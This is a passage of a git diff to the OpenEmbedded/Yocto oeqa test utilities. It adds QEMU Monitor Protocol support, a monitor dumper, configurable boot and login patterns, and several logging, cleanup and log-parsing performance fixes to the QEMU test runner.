oe.path.symlink(os.path.basename(self.qemurunnerlog), os.path.join(self.testdir, 'qemurunner_log'), force=True)
if d.getVar("DISTRO") == "poky-tiny":
@@ -131,6 +133,7 @@ class QemuTarget(BaseTarget):
logfile = self.qemulog,
kernel = self.kernel,
boottime = int(d.getVar("TEST_QEMUBOOT_TIMEOUT")),
+ tmpfsdir = d.getVar("RUNQEMU_TMPFS_DIR"),
logger = logger)
else:
self.runner = QemuRunner(machine=d.getVar("MACHINE"),
@@ -143,9 +146,14 @@ class QemuTarget(BaseTarget):
use_kvm = use_kvm,
dump_dir = dump_dir,
dump_host_cmds = d.getVar("testimage_dump_host"),
- logger = logger)
+ logger = logger,
+ tmpfsdir = d.getVar("RUNQEMU_TMPFS_DIR"),
+ serial_ports = len(d.getVar("SERIAL_CONSOLES").split()))
self.target_dumper = TargetDumper(dump_target_cmds, dump_dir, self.runner)
+ self.monitor_dumper = MonitorDumper(dump_monitor_cmds, dump_dir, self.runner)
+ if (self.monitor_dumper):
+ self.monitor_dumper.create_dir("qmp")
def deploy(self):
bb.utils.mkdirhier(self.testdir)
@@ -181,7 +189,12 @@ class QemuTarget(BaseTarget):
return self.runner.is_alive()
def stop(self):
- self.runner.stop()
+ try:
+ self.runner.stop()
+ except:
+ pass
+ self.logger.removeHandler(self.loggerhandler)
+ self.loggerhandler.close()
self.connection = None
self.ip = None
self.server_ip = None
diff --git a/meta/lib/oeqa/utils/__init__.py b/meta/lib/oeqa/utils/__init__.py
index 70fbe7b552..6d1ec4cb99 100644
--- a/meta/lib/oeqa/utils/__init__.py
+++ b/meta/lib/oeqa/utils/__init__.py
@@ -43,28 +43,12 @@ def make_logger_bitbake_compatible(logger):
import logging
"""
- Bitbake logger redifines debug() in order to
- set a level within debug, this breaks compatibility
- with vainilla logging, so we neeed to redifine debug()
- method again also add info() method with INFO + 1 level.
+ We need to raise the log level of the info output so unittest
+ messages are visible on the console.
"""
- def _bitbake_log_debug(*args, **kwargs):
- lvl = logging.DEBUG
-
- if isinstance(args[0], int):
- lvl = args[0]
- msg = args[1]
- args = args[2:]
- else:
- msg = args[0]
- args = args[1:]
-
- logger.log(lvl, msg, *args, **kwargs)
-
def _bitbake_log_info(msg, *args, **kwargs):
logger.log(logging.INFO + 1, msg, *args, **kwargs)
- logger.debug = _bitbake_log_debug
logger.info = _bitbake_log_info
return logger
diff --git a/meta/lib/oeqa/utils/buildproject.py b/meta/lib/oeqa/utils/buildproject.py
index e6d80cc8dc..dfb9661868 100644
--- a/meta/lib/oeqa/utils/buildproject.py
+++ b/meta/lib/oeqa/utils/buildproject.py
@@ -18,6 +18,7 @@ class BuildProject(metaclass=ABCMeta):
def __init__(self, uri, foldername=None, tmpdir=None, dl_dir=None):
self.uri = uri
self.archive = os.path.basename(uri)
+ self.tempdirobj = None
if not tmpdir:
self.tempdirobj = tempfile.TemporaryDirectory(prefix='buildproject-')
tmpdir = self.tempdirobj.name
@@ -57,6 +58,8 @@ class BuildProject(metaclass=ABCMeta):
return self._run('cd %s; make install %s' % (self.targetdir, install_args))
def clean(self):
+ if self.tempdirobj:
+ self.tempdirobj.cleanup()
if not self.needclean:
return
self._run('rm -rf %s' % self.targetdir)
diff --git a/meta/lib/oeqa/utils/commands.py b/meta/lib/oeqa/utils/commands.py
index dc1e286dac..024261410e 100644
--- a/meta/lib/oeqa/utils/commands.py
+++ b/meta/lib/oeqa/utils/commands.py
@@ -95,7 +95,9 @@ class Command(object):
# reason, the main process will still exit, which will then
# kill the write thread.
if self.data:
- threading.Thread(target=writeThread, daemon=True).start()
+ thread = threading.Thread(target=writeThread, daemon=True)
+ thread.start()
+ self.threads.append(thread)
if self.process.stderr:
thread = threading.Thread(target=readStderrThread)
thread.start()
@@ -123,11 +125,11 @@ class Command(object):
def stop(self):
for thread in self.threads:
- if thread.isAlive():
+ if thread.is_alive():
self.process.terminate()
# let's give it more time to terminate gracefully before killing it
thread.join(5)
- if thread.isAlive():
+ if thread.is_alive():
self.process.kill()
thread.join()
@@ -165,23 +167,29 @@ class Result(object):
pass
-def runCmd(command, ignore_status=False, timeout=None, assert_error=True,
+def runCmd(command, ignore_status=False, timeout=None, assert_error=True, sync=True,
native_sysroot=None, limit_exc_output=0, output_log=None, **options):
result = Result()
if native_sysroot:
extra_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin" % \
(native_sysroot, native_sysroot, native_sysroot)
- extra_libpaths = "%s/lib:%s/usr/lib" % \
- (native_sysroot, native_sysroot)
nenv = dict(options.get('env', os.environ))
nenv['PATH'] = extra_paths + ':' + nenv.get('PATH', '')
- nenv['LD_LIBRARY_PATH'] = extra_libpaths + ':' + nenv.get('LD_LIBRARY_PATH', '')
options['env'] = nenv
cmd = Command(command, timeout=timeout, output_log=output_log, **options)
cmd.run()
+ # tests can be heavy on IO and if bitbake can't write out its caches, we see timeouts.
+ # call sync around the tests to ensure the IO queue doesn't get too large, taking any IO
+ # hit here rather than in bitbake shutdown.
+ if sync:
+ p = os.environ['PATH']
+ os.environ['PATH'] = "/usr/bin:/bin:/usr/sbin:/sbin:" + p
+ os.system("sync")
+ os.environ['PATH'] = p
+
result.command = command
result.status = cmd.status
result.output = cmd.output
@@ -315,15 +323,15 @@ def runqemu(pn, ssh=True, runqemuparams='', image_fstype=None, launch_cmd=None,
try:
tinfoil.logger.setLevel(logging.WARNING)
import oeqa.targetcontrol
- tinfoil.config_data.setVar("TEST_LOG_DIR", "${WORKDIR}/testimage")
- tinfoil.config_data.setVar("TEST_QEMUBOOT_TIMEOUT", "1000")
+ recipedata = tinfoil.parse_recipe(pn)
+ recipedata.setVar("TEST_LOG_DIR", "${WORKDIR}/testimage")
+ recipedata.setVar("TEST_QEMUBOOT_TIMEOUT", "1000")
# Tell QemuTarget() whether need find rootfs/kernel or not
if launch_cmd:
- tinfoil.config_data.setVar("FIND_ROOTFS", '0')
+ recipedata.setVar("FIND_ROOTFS", '0')
else:
- tinfoil.config_data.setVar("FIND_ROOTFS", '1')
+ recipedata.setVar("FIND_ROOTFS", '1')
- recipedata = tinfoil.parse_recipe(pn)
for key, value in overrides.items():
recipedata.setVar(key, value)
@@ -351,10 +359,7 @@ def runqemu(pn, ssh=True, runqemuparams='', image_fstype=None, launch_cmd=None,
finally:
targetlogger.removeHandler(handler)
- try:
- qemu.stop()
- except:
- pass
+ qemu.stop()
def updateEnv(env_file):
"""
diff --git a/meta/lib/oeqa/utils/dump.py b/meta/lib/oeqa/utils/dump.py
index d34e05e2b4..95a79a571c 100644
--- a/meta/lib/oeqa/utils/dump.py
+++ b/meta/lib/oeqa/utils/dump.py
@@ -4,6 +4,7 @@
import os
import sys
+import json
import errno
import datetime
import itertools
@@ -17,6 +18,7 @@ class BaseDumper(object):
# Some testing doesn't inherit testimage, so it is needed
# to set some defaults.
self.parent_dir = parent_dir
+ self.dump_dir = parent_dir
dft_cmds = """ top -bn1
iostat -x -z -N -d -p ALL 20 2
ps -ef
@@ -46,11 +48,13 @@ class BaseDumper(object):
raise err
self.dump_dir = dump_dir
- def _write_dump(self, command, output):
+ def _construct_filename(self, command):
if isinstance(self, HostDumper):
prefix = "host"
elif isinstance(self, TargetDumper):
prefix = "target"
+ elif isinstance(self, MonitorDumper):
+ prefix = "qmp"
else:
prefix = "unknown"
for i in itertools.count():
@@ -58,9 +62,17 @@ class BaseDumper(object):
fullname = os.path.join(self.dump_dir, filename)
if not os.path.exists(fullname):
break
- with open(fullname, 'w') as dump_file:
- dump_file.write(output)
+ return fullname
+ def _write_dump(self, command, output):
+ fullname = self._construct_filename(command)
+ os.makedirs(os.path.dirname(fullname), exist_ok=True)
+ if isinstance(self, MonitorDumper):
+ with open(fullname, 'w') as json_file:
+ json.dump(output, json_file, indent=4)
+ else:
+ with open(fullname, 'w') as dump_file:
+ dump_file.write(output)
class HostDumper(BaseDumper):
""" Class to get dumps from the host running the tests """
@@ -71,8 +83,11 @@ class HostDumper(BaseDumper):
def dump_host(self, dump_dir=""):
if dump_dir:
self.dump_dir = dump_dir
+ env = os.environ.copy()
+ env['PATH'] = '/usr/sbin:/sbin:/usr/bin:/bin'
+ env['COLUMNS'] = '9999'
for cmd in self.cmds:
- result = runCmd(cmd, ignore_status=True)
+ result = runCmd(cmd, ignore_status=True, env=env)
self._write_dump(cmd.split()[0], result.output)
class TargetDumper(BaseDumper):
@@ -93,3 +108,31 @@ class TargetDumper(BaseDumper):
except:
print("Tried to dump info from target but "
"serial console failed")
+ print("Failed CMD: %s" % (cmd))
+
+class MonitorDumper(BaseDumper):
+ """ Class to get dumps via the Qemu Monitor, it only works with QemuRunner """
+
+ def __init__(self, cmds, parent_dir, runner):
+ super(MonitorDumper, self).__init__(cmds, parent_dir)
+ self.runner = runner
+
+ def dump_monitor(self, dump_dir=""):
+ if self.runner is None:
+ return
+ if dump_dir:
+ self.dump_dir = dump_dir
+ for cmd in self.cmds:
+ cmd_name = cmd.split()[0]
+ try:
+ if len(cmd.split()) > 1:
+ cmd_args = cmd.split()[1]
+ if "%s" in cmd_args:
+ filename = self._construct_filename(cmd_name)
+ cmd_data = json.loads(cmd_args % (filename))
+ output = self.runner.run_monitor(cmd_name, cmd_data)
+ else:
+ output = self.runner.run_monitor(cmd_name)
+ self._write_dump(cmd_name, output)
+ except Exception as e:
+ print("Failed to dump QMP CMD: %s with\nException: %s" % (cmd_name, e))
diff --git a/meta/lib/oeqa/utils/httpserver.py b/meta/lib/oeqa/utils/httpserver.py
index aa435590f0..58d3c3b3f8 100644
--- a/meta/lib/oeqa/utils/httpserver.py
+++ b/meta/lib/oeqa/utils/httpserver.py
@@ -22,10 +22,10 @@ class HTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
class HTTPService(object):
- def __init__(self, root_dir, host='', logger=None):
+ def __init__(self, root_dir, host='', port=0, logger=None):
self.root_dir = root_dir
self.host = host
- self.port = 0
+ self.port = port
self.logger = logger
def start(self):
diff --git a/meta/lib/oeqa/utils/logparser.py b/meta/lib/oeqa/utils/logparser.py
index 7313df8ec3..879aefca33 100644
--- a/meta/lib/oeqa/utils/logparser.py
+++ b/meta/lib/oeqa/utils/logparser.py
@@ -25,13 +25,20 @@ class PtestParser(object):
section_regex['exitcode'] = re.compile(r"^ERROR: Exit status is (.+)")
section_regex['timeout'] = re.compile(r"^TIMEOUT: .*/(.+)/ptest")
+ # Cache markers so we don't take the re.search() hit all the time.
+ markers = ("PASS:", "FAIL:", "SKIP:", "BEGIN:", "END:", "DURATION:", "ERROR: Exit", "TIMEOUT:")
+
def newsection():
- return { 'name': "No-section", 'log': "" }
+ return { 'name': "No-section", 'log': [] }
current_section = newsection()
with open(logfile, errors='replace') as f:
for line in f:
+ if not line.startswith(markers):
+ current_section['log'].append(line)
+ continue
+
result = section_regex['begin'].search(line)
if result:
current_section['name'] = result.group(1)
@@ -61,7 +68,7 @@ class PtestParser(object):
current_section[t] = result.group(1)
continue
- current_section['log'] = current_section['log'] + line
+ current_section['log'].append(line)
for t in test_regex:
result = test_regex[t].search(line)
@@ -70,6 +77,11 @@ class PtestParser(object):
self.results[current_section['name']] = {}
self.results[current_section['name']][result.group(1).strip()] = t
+ # Python performance for repeatedly joining long strings is poor, do it all at once at the end.
+ # For 2.1 million lines in a log this reduces 18 hours to 12s.
+ for section in self.sections:
+ self.sections[section]['log'] = "".join(self.sections[section]['log'])
+
return self.results, self.sections
# Log the results as files. The file name is the section name and the contents are the tests in that section.
@@ -123,30 +135,27 @@ class LtpComplianceParser(object):
def parse(self, logfile):
test_regex = {}
- test_regex['PASSED'] = re.compile(r"^PASS")
- test_regex['FAILED'] = re.compile(r"^FAIL")
- test_regex['SKIPPED'] = re.compile(r"(?:UNTESTED)|(?:UNSUPPORTED)")
+ test_regex['FAILED'] = re.compile(r"FAIL")
section_regex = {}
- section_regex['test'] = re.compile(r"^Testing")
+ section_regex['test'] = re.compile(r"^Executing")
with open(logfile, errors='replace') as f:
+ name = logfile
+ result = "PASSED"
for line in f:
- result = section_regex['test'].search(line)
- if result:
- self.name = ""
- self.name = line.split()[1].strip()
- self.results[self.name] = "PASSED"
- failed = 0
+ regex_result = section_regex['test'].search(line)
+ if regex_result:
+ name = line.split()[1].strip()
- failed_result = test_regex['FAILED'].search(line)
- if failed_result:
- failed = line.split()[1].strip()
- if int(failed) > 0:
- self.results[self.name] = "FAILED"
+ regex_result = test_regex['FAILED'].search(line)
+ if regex_result:
+ result = "FAILED"
+ self.results[name] = result
for test in self.results:
result = self.results[test]
+ print (self.results)
self.section['log'] = self.section['log'] + ("%s: %s\n" % (result.strip()[:-2], test.strip()))
return self.results, self.section
diff --git a/meta/lib/oeqa/utils/package_manager.py b/meta/lib/oeqa/utils/package_manager.py
index 2d358f7172..6b67f22fdd 100644
--- a/meta/lib/oeqa/utils/package_manager.py
+++ b/meta/lib/oeqa/utils/package_manager.py
@@ -12,7 +12,9 @@ def get_package_manager(d, root_path):
"""
Returns an OE package manager that can install packages in root_path.
"""
- from oe.package_manager import RpmPM, OpkgPM, DpkgPM
+ from oe.package_manager.rpm import RpmPM
+ from oe.package_manager.ipk import OpkgPM
+ from oe.package_manager.deb import DpkgPM
pkg_class = d.getVar("IMAGE_PKGTYPE")
if pkg_class == "rpm":
@@ -115,7 +117,7 @@ def extract_packages(d, needed_packages):
extract = package.get('extract', True)
if extract:
- #logger.debug(1, 'Extracting %s' % pkg)
+ #logger.debug('Extracting %s' % pkg)
dst_dir = os.path.join(extracted_path, pkg)
# Same package used for more than one test,
# don't need to extract again.
@@ -128,7 +130,7 @@ def extract_packages(d, needed_packages):
shutil.rmtree(pkg_dir)
else:
- #logger.debug(1, 'Copying %s' % pkg)
+ #logger.debug('Copying %s' % pkg)
_copy_package(d, pkg)
def _extract_in_tmpdir(d, pkg):
diff --git a/meta/lib/oeqa/utils/qemurunner.py b/meta/lib/oeqa/utils/qemurunner.py
index fe8b77d97a..76296d50cd 100644
--- a/meta/lib/oeqa/utils/qemurunner.py
+++ b/meta/lib/oeqa/utils/qemurunner.py
@@ -20,7 +20,10 @@ import string
import threading
import codecs
import logging
+import tempfile
from oeqa.utils.dump import HostDumper
+from collections import defaultdict
+import importlib
# Get Unicode non printable control chars
control_range = list(range(0,32))+list(range(127,160))
@@ -31,10 +34,11 @@ re_control_char = re.compile('[%s]' % re.escape("".join(control_chars)))
class QemuRunner:
def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, boottime, dump_dir, dump_host_cmds,
- use_kvm, logger, use_slirp=False):
+ use_kvm, logger, use_slirp=False, serial_ports=2, boot_patterns = defaultdict(str), use_ovmf=False, workdir=None, tmpfsdir=None):
# Popen object for runqemu
self.runqemu = None
+ self.runqemu_exited = False
# pid of the qemu process that runqemu will start
self.qemupid = None
# target ip - from the command line or runqemu output
@@ -54,15 +58,42 @@ class QemuRunner:
self.logged = False
self.thread = None
self.use_kvm = use_kvm
+ self.use_ovmf = use_ovmf
self.use_slirp = use_slirp
+ self.serial_ports = serial_ports
self.msg = ''
+ self.boot_patterns = boot_patterns
+ self.tmpfsdir = tmpfsdir
- self.runqemutime = 120
- self.qemu_pidfile = 'pidfile_'+str(os.getpid())
+ self.runqemutime = 300
+ if not workdir:
+ workdir = os.getcwd()
+ self.qemu_pidfile = workdir + '/pidfile_' + str(os.getpid())
self.host_dumper = HostDumper(dump_host_cmds, dump_dir)
self.monitorpipe = None
self.logger = logger
+ # Whether we're expecting an exit and should show related errors
+ self.canexit = False
+
+ # Enable testing other OS's
+ # Set commands for target communication, and default to Linux ALWAYS
+ # Other OS's or baremetal applications need to provide their
+ # own implementation passing it through QemuRunner's constructor
+ # or by passing them through TESTIMAGE_BOOT_PATTERNS[flag]
+ # provided variables, where <flag> is one of the mentioned below.
+ accepted_patterns = ['search_reached_prompt', 'send_login_user', 'search_login_succeeded', 'search_cmd_finished']
+ default_boot_patterns = defaultdict(str)
+ # Default to the usual paterns used to communicate with the target
+ default_boot_patterns['search_reached_prompt'] = b' login:'
+ default_boot_patterns['send_login_user'] = 'root\n'
+ default_boot_patterns['search_login_succeeded'] = r"root@[a-zA-Z0-9\-]+:~#"
+ default_boot_patterns['search_cmd_finished'] = r"[a-zA-Z0-9]+@[a-zA-Z0-9\-]+:~#"
+
+ # Only override patterns that were set e.g. login user TESTIMAGE_BOOT_PATTERNS[send_login_user] = "webserver\n"
+ for pattern in accepted_patterns:
+ if not self.boot_patterns[pattern]:
+ self.boot_patterns[pattern] = default_boot_patterns[pattern]
def create_socket(self):
try:
@@ -92,17 +123,19 @@ class QemuRunner:
import fcntl
fl = fcntl.fcntl(o, fcntl.F_GETFL)
fcntl.fcntl(o, fcntl.F_SETFL, fl | os.O_NONBLOCK)
- return os.read(o.fileno(), 1000000).decode("utf-8")
+ try:
+ return os.read(o.fileno(), 1000000).decode("utf-8")
+ except BlockingIOError:
+ return ""
def handleSIGCHLD(self, signum, frame):
if self.runqemu and self.runqemu.poll():
if self.runqemu.returncode:
- self.logger.warning('runqemu exited with code %d' % self.runqemu.returncode)
- self.logger.debug("Output from runqemu:\n%s" % self.getOutput(self.runqemu.stdout))
+ self.logger.error('runqemu exited with code %d' % self.runqemu.returncode)
+ self.logger.error('Output from runqemu:\n%s' % self.getOutput(self.runqemu.stdout))
self.stop()
self._dump_host()
- raise SystemExit
def start(self, qemuparams = None, get_ip = True, extra_bootparams = None, runqemuparams='', launch_cmd=None, discard_writes=True):
env = os.environ.copy()
@@ -125,6 +158,9 @@ class QemuRunner:
else:
env["DEPLOY_DIR_IMAGE"] = self.deploy_dir_image
+ if self.tmpfsdir:
+ env["RUNQEMU_TMPFS_DIR"] = self.tmpfsdir
+
if not launch_cmd:
launch_cmd = 'runqemu %s' % ('snapshot' if discard_writes else '')
if self.use_kvm:
@@ -136,19 +172,45 @@ class QemuRunner:
launch_cmd += ' nographic'
if self.use_slirp:
launch_cmd += ' slirp'
+ if self.use_ovmf:
+ launch_cmd += ' ovmf'
launch_cmd += ' %s %s %s' % (runqemuparams, self.machine, self.rootfs)
return self.launch(launch_cmd, qemuparams=qemuparams, get_ip=get_ip, extra_bootparams=extra_bootparams, env=env)
def launch(self, launch_cmd, get_ip = True, qemuparams = None, extra_bootparams = None, env = None):
+ # use logfile to determine the recipe-sysroot-native path and
+ # then add in the site-packages path components and add that
+ # to the python sys.path so qmp.py can be found.
+ python_path = os.path.dirname(os.path.dirname(self.logfile))
+ python_path += "/recipe-sysroot-native/usr/lib/qemu-python"
+ sys.path.append(python_path)
+ importlib.invalidate_caches()
+ try:
+ qmp = importlib.import_module("qmp")
+ except:
+ self.logger.error("qemurunner: qmp.py missing, please ensure it's installed")
+ return False
+ # Path relative to tmpdir used as cwd for qemu below to avoid unix socket path length issues
+ qmp_file = "." + next(tempfile._get_candidate_names())
+ qmp_param = ' -S -qmp unix:./%s,server,wait' % (qmp_file)
+ qmp_port = self.tmpdir + "/" + qmp_file
+ # Create a second socket connection for debugging use,
+ # note this will NOT cause qemu to block waiting for the connection
+ qmp_file2 = "." + next(tempfile._get_candidate_names())
+ qmp_param += ' -qmp unix:./%s,server,nowait' % (qmp_file2)
+ qmp_port2 = self.tmpdir + "/" + qmp_file2
+ self.logger.info("QMP Available for connection at %s" % (qmp_port2))
+
try:
- self.threadsock, threadport = self.create_socket()
+ if self.serial_ports >= 2:
+ self.threadsock, threadport = self.create_socket()
self.server_socket, self.serverport = self.create_socket()
except socket.error as msg:
self.logger.error("Failed to create listening socket: %s" % msg[1])
return False
- bootparams = 'console=tty1 console=ttyS0,115200n8 printk.time=1'
+ bootparams = ' printk.time=1'
if extra_bootparams:
bootparams = bootparams + ' ' + extra_bootparams
@@ -156,11 +218,15 @@ class QemuRunner:
# and analyze descendents in order to determine it.
if os.path.exists(self.qemu_pidfile):
os.remove(self.qemu_pidfile)
- self.qemuparams = 'bootparams="{0}" qemuparams="-pidfile {1}"'.format(bootparams, self.qemu_pidfile)
+ self.qemuparams = 'bootparams="{0}" qemuparams="-pidfile {1} {2}"'.format(bootparams, self.qemu_pidfile, qmp_param)
+
if qemuparams:
self.qemuparams = self.qemuparams[:-1] + " " + qemuparams + " " + '\"'
- launch_cmd += ' tcpserial=%s:%s %s' % (threadport, self.serverport, self.qemuparams)
+ if self.serial_ports >= 2:
+ launch_cmd += ' tcpserial=%s:%s %s' % (threadport, self.serverport, self.qemuparams)
+ else:
+ launch_cmd += ' tcpserial=%s %s' % (self.serverport, self.qemuparams)
self.origchldhandler = signal.getsignal(signal.SIGCHLD)
signal.signal(signal.SIGCHLD, self.handleSIGCHLD)
@@ -171,8 +237,9 @@ class QemuRunner:
# blocking at the end of the runqemu script when using this within
# oe-selftest (this makes stty error out immediately). There ought
# to be a proper fix but this will suffice for now.
- self.runqemu = subprocess.Popen(launch_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, preexec_fn=os.setpgrp, env=env)
+ self.runqemu = subprocess.Popen(launch_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, preexec_fn=os.setpgrp, env=env, cwd=self.tmpdir)
output = self.runqemu.stdout
+ launch_time = time.time()
#
# We need the preexec_fn above so that all runqemu processes can easily be killed
@@ -198,7 +265,7 @@ class QemuRunner:
r = os.fdopen(r)
x = r.read()
os.killpg(os.getpgid(self.runqemu.pid), signal.SIGTERM)
- sys.exit(0)
+ os._exit(0)
self.logger.debug("runqemu started, pid is %s" % self.runqemu.pid)
self.logger.debug("waiting at most %s seconds for qemu pid (%s)" %
@@ -206,6 +273,9 @@ class QemuRunner:
endtime = time.time() + self.runqemutime
while not self.is_alive() and time.time() < endtime:
if self.runqemu.poll():
+ if self.runqemu_exited:
+ self.logger.warning("runqemu during is_alive() test")
+ return False
if self.runqemu.returncode:
# No point waiting any longer
self.logger.warning('runqemu exited with code %d' % self.runqemu.returncode)
@@ -215,11 +285,26 @@ class QemuRunner:
return False
time.sleep(0.5)
+ if self.runqemu_exited:
+ self.logger.warning("runqemu after timeout")
+
+ if self.runqemu.returncode:
+ self.logger.warning('runqemu exited with code %d' % self.runqemu.returncode)
+
if not self.is_alive():
self.logger.error("Qemu pid didn't appear in %s seconds (%s)" %
(self.runqemutime, time.strftime("%D %H:%M:%S")))
+
+ qemu_pid = None
+ if os.path.isfile(self.qemu_pidfile):
+ with open(self.qemu_pidfile, 'r') as f:
+ qemu_pid = f.read().strip()
+
+ self.logger.error("Status information, poll status: %s, pidfile exists: %s, pidfile contents %s, proc pid exists %s"
+ % (self.runqemu.poll(), os.path.isfile(self.qemu_pidfile), str(qemu_pid), os.path.exists("/proc/" + str(qemu_pid))))
+
# Dump all processes to help us to figure out what is going on...
- ps = subprocess.Popen(['ps', 'axww', '-o', 'pid,ppid,command '], stdout=subprocess.PIPE).communicate()[0]
+ ps = subprocess.Popen(['ps', 'axww', '-o', 'pid,ppid,pri,ni,command '], stdout=subprocess.PIPE).communicate()[0]
processes = ps.decode("utf-8")
self.logger.debug("Running processes:\n%s" % processes)
self._dump_host()
@@ -231,14 +316,80 @@ class QemuRunner:
self.logger.error("No output from runqemu.\n")
return False
+ # Create the client socket for the QEMU Monitor Control Socket
+ # This will allow us to read status from Qemu if the the process
+ # is still alive
+ self.logger.debug("QMP Initializing to %s" % (qmp_port))
+ # chdir dance for path length issues with unix sockets
+ origpath = os.getcwd()
+ try:
+ os.chdir(os.path.dirname(qmp_port))
+ try:
+ self.qmp = qmp.QEMUMonitorProtocol(os.path.basename(qmp_port))
+ except OSError as msg:
+ self.logger.warning("Failed to initialize qemu monitor socket: %s File: %s" % (msg, msg.filename))
+ return False
+
+ self.logger.debug("QMP Connecting to %s" % (qmp_port))
+ if not os.path.exists(qmp_port) and self.is_alive():
+ self.logger.debug("QMP Port does not exist waiting for it to be created")
+ endtime = time.time() + self.runqemutime
+ while not os.path.exists(qmp_port) and self.is_alive() and time.time() < endtime:
+ self.logger.info("QMP port does not exist yet!")
+ time.sleep(0.5)
+ if not os.path.exists(qmp_port) and self.is_alive():
+ self.logger.warning("QMP Port still does not exist but QEMU is alive")
+ return False
+
+ try:
+ self.qmp.connect()
+ connect_time = time.time()
+ self.logger.info("QMP connected to QEMU at %s and took %s seconds" %
+ (time.strftime("%D %H:%M:%S"),
+ time.time() - launch_time))
+ except OSError as msg:
+ self.logger.warning("Failed to connect qemu monitor socket: %s File: %s" % (msg, msg.filename))
+ return False
+ except qmp.QMPConnectError as msg:
+ self.logger.warning("Failed to communicate with qemu monitor: %s" % (msg))
+ return False
+ finally:
+ os.chdir(origpath)
+
+ # We worry that mmap'd libraries may cause page faults which hang the qemu VM for periods
+ # causing failures. Before we "start" qemu, read through it's mapped files to try and
+ # ensure we don't hit page faults later
+ mapdir = "/proc/" + str(self.qemupid) + "/map_files/"
+ try:
+ for f in os.listdir(mapdir):
+ try:
+ linktarget = os.readlink(os.path.join(mapdir, f))
+ if not linktarget.startswith("/") or linktarget.startswith("/dev") or "deleted" in linktarget:
+ continue
+ with open(linktarget, "rb") as readf:
+ data = True
+ while data:
+ data = readf.read(4096)
+ except FileNotFoundError:
+ continue
+ # Centos7 doesn't allow us to read /map_files/
+ except PermissionError:
+ pass
+
+ # Release the qemu process to continue running
+ self.run_monitor('cont')
+ self.logger.info("QMP released QEMU at %s and took %s seconds from connect" %
+ (time.strftime("%D %H:%M:%S"),
+ time.time() - connect_time))
+
# We are alive: qemu is running
out = self.getOutput(output)
netconf = False # network configuration is not required by default
self.logger.debug("qemu started in %s seconds - qemu procces pid is %s (%s)" %
(time.time() - (endtime - self.runqemutime),
self.qemupid, time.strftime("%D %H:%M:%S")))
+ cmdline = ''
if get_ip:
- cmdline = ''
with open('/proc/%s/cmdline' % self.qemupid) as p:
cmdline = p.read()
# It is needed to sanitize the data received
@@ -256,7 +407,7 @@ class QemuRunner:
self.logger.debug("qemu cmdline used:\n{}".format(cmdline))
except (IndexError, ValueError):
# Try to get network configuration from runqemu output
- match = re.match(r'.*Network configuration: ([0-9.]+)::([0-9.]+):([0-9.]+)$.*',
+ match = re.match(r'.*Network configuration: (?:ip=)*([0-9.]+)::([0-9.]+):([0-9.]+).*',
out, re.MULTILINE|re.DOTALL)
if match:
self.ip, self.server_ip, self.netmask = match.groups()
@@ -275,14 +426,15 @@ class QemuRunner:
self.logger.debug("Target IP: %s" % self.ip)
self.logger.debug("Server IP: %s" % self.server_ip)
- self.thread = LoggingThread(self.log, self.threadsock, self.logger)
- self.thread.start()
- if not self.thread.connection_established.wait(self.boottime):
- self.logger.error("Didn't receive a console connection from qemu. "
- "Here is the qemu command line used:\n%s\nand "
- "output from runqemu:\n%s" % (cmdline, out))
- self.stop_thread()
- return False
+ if self.serial_ports >= 2:
+ self.thread = LoggingThread(self.log, self.threadsock, self.logger)
+ self.thread.start()
+ if not self.thread.connection_established.wait(self.boottime):
+ self.logger.error("Didn't receive a console connection from qemu. "
+ "Here is the qemu command line used:\n%s\nand "
+ "output from runqemu:\n%s" % (cmdline, out))
+ self.stop_thread()
+ return False
self.logger.debug("Output from runqemu:\n%s", out)
self.logger.debug("Waiting at most %d seconds for login banner (%s)" %
@@ -310,8 +462,12 @@ class QemuRunner:
data = data + sock.recv(1024)
if data:
bootlog += data
+ if self.serial_ports < 2:
+ # this socket has mixed console/kernel data, log it to logfile
+ self.log(data)
+
data = b''
- if b' login:' in bootlog:
+ if self.boot_patterns['search_reached_prompt'] in bootlog:
self.server_socket = qemusock
stopread = True
reachedlogin = True
@@ -326,7 +482,6 @@ class QemuRunner:
sock.close()
stopread = True
-
if not reachedlogin:
if time.time() >= endtime:
self.logger.warning("Target didn't reach login banner in %d seconds (%s)" %
@@ -343,8 +498,8 @@ class QemuRunner:
# If we are not able to login the tests can continue
try:
- (status, output) = self.run_serial("root\n", raw=True)
- if re.search(r"root@[a-zA-Z0-9\-]+:~#", output):
+ (status, output) = self.run_serial(self.boot_patterns['send_login_user'], raw=True, timeout=120)
+ if re.search(self.boot_patterns['search_login_succeeded'], output):
self.logged = True
self.logger.debug("Logged as root in serial console")
if netconf:
@@ -383,10 +538,15 @@ class QemuRunner:
if self.runqemu.poll() is None:
self.logger.debug("Sending SIGKILL to runqemu")
os.killpg(os.getpgid(self.runqemu.pid), signal.SIGKILL)
+ if not self.runqemu.stdout.closed:
+ self.logger.info("Output from runqemu:\n%s" % self.getOutput(self.runqemu.stdout))
self.runqemu.stdin.close()
self.runqemu.stdout.close()
- self.runqemu = None
+ self.runqemu_exited = True
+ if hasattr(self, 'qmp') and self.qmp:
+ self.qmp.close()
+ self.qmp = None
if hasattr(self, 'server_socket') and self.server_socket:
self.server_socket.close()
self.server_socket = None
@@ -396,7 +556,11 @@ class QemuRunner:
self.qemupid = None
self.ip = None
if os.path.exists(self.qemu_pidfile):
- os.remove(self.qemu_pidfile)
+ try:
+ os.remove(self.qemu_pidfile)
+ except FileNotFoundError as e:
+ # We raced, ignore
+ pass
if self.monitorpipe:
self.monitorpipe.close()
@@ -413,6 +577,11 @@ class QemuRunner:
self.thread.stop()
self.thread.join()
+ def allowexit(self):
+ self.canexit = True
+ if self.thread:
+ self.thread.allowexit()
+
def restart(self, qemuparams = None):
self.logger.warning("Restarting qemu process")
if self.runqemu.poll() is None:
@@ -422,7 +591,7 @@ class QemuRunner:
return False
def is_alive(self):
- if not self.runqemu or self.runqemu.poll() is not None:
+ if not self.runqemu or self.runqemu.poll() is not None or self.runqemu_exited:
return False
if os.path.isfile(self.qemu_pidfile):
# when handling pidfile, qemu creates the file, stat it, lock it and then write to it
@@ -441,6 +610,13 @@ class QemuRunner:
return True
return False
+ def run_monitor(self, command, args=None, timeout=60):
+ if hasattr(self, 'qmp') and self.qmp:
+ if args is not None:
+ return self.qmp.cmd(command, args)
+ else:
